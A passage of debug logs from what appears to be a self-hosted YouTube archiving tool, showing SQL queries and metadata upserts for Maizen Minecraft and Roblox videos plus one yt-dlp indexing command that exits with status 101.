(s0."id" = ?) [2] 20:07:13.020 [debug] QUERY OK source="media_items" db=1.3ms idle=1236.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 20:07:13.021 [debug] QUERY OK source="media_items" db=0.8ms idle=1079.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "97288835-9465-434a-8fae-57daefe3d38a", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 03:07:13Z], ~U[2026-08-20 03:07:13Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 20:07:13.021 [debug] QUERY OK source="sources" db=0.2ms idle=79.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:13.022 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:13.022 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 20:07:13.023 [debug] Current batch of media processed. Will check again in 1000ms 20:07:14.023 [debug] Current batch of media processed. Will check again in 1000ms 20:07:15.024 [debug] Current batch of media processed. Will check again in 1000ms 20:07:16.025 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 20:07:16.026 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1243.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:16.026 [debug] QUERY OK source="sources" db=0.1ms idle=1244.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:16.028 [debug] QUERY OK source="media_items" db=1.3ms idle=1244.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 20:07:16.029 [debug] QUERY OK source="media_items" db=0.6ms idle=1084.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "4cedf818-1d70-4c75-9aec-f5c00589f896", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 03:07:16Z], ~U[2026-08-20 03:07:16Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 20:07:16.029 [debug] QUERY OK source="sources" db=0.1ms idle=84.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:16.029 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:16.030 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 20:07:16.030 [debug] Current batch of media processed. Will check again in 1000ms 20:07:17.031 [debug] Current batch of media processed. Will check again in 1000ms 20:07:17.963 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:18.032 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1743, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", "id" => "hvMewRuugus", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hvMewRuugus", "playlist_index" => 18, "timestamp" => 1778451360, "title" => "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "upload_date" => "20260510"} 20:07:18.033 [debug] QUERY OK source="sources" db=0.2ms idle=250.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:18.033 [debug] QUERY OK source="sources" db=0.1ms idle=250.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.035 [debug] QUERY OK source="media_items" db=1.3ms idle=251.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 20:07:18.036 [debug] QUERY OK source="media_items" db=0.6ms idle=88.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "64c57a28-42f6-4a4d-82f4-d253660d5fd5", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 20:07:18.036 [debug] QUERY OK source="sources" db=0.2ms idle=72.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.036 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:07:18.037 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [60985] 20:07:18.037 [debug] Current batch of media processed. Will check again in 1000ms 20:07:18.113 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/5a/1a/5a1a8f3f739c39b205ba4a9dd5ab43cd9d03855f8a3bea45fb60926ecfeaa8f7.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b2/d9/b2d9c3fe8e887a857ccbb09594448b9f1702c99c41e50aa78d32df3a26713de4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 20:07:18.114 [debug] Gracefully stopping file follower 20:07:18.114 [debug] QUERY OK source="sources" db=0.5ms idle=79.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:07:18.115 [debug] QUERY OK source="sources" db=0.2ms idle=79.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.117 [debug] QUERY OK source="media_items" db=1.4ms idle=79.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 20:07:18.119 [debug] QUERY OK source="media_items" db=1.6ms idle=80.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "a4c9c797-4b88-46fc-820f-d3bdea544bab", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 20:07:18.119 [debug] QUERY OK source="sources" db=0.2ms idle=81.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.121 [debug] QUERY OK source="media_items" db=1.3ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 20:07:18.122 [debug] QUERY OK source="media_items" db=0.7ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "df37f347-7780-4eec-bfcf-0b47daaa1ffb", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 20:07:18.122 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.124 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 20:07:18.125 [debug] QUERY OK source="media_items" db=0.8ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "1b57d02d-7157-4153-8e17-4485871034af", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 20:07:18.126 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 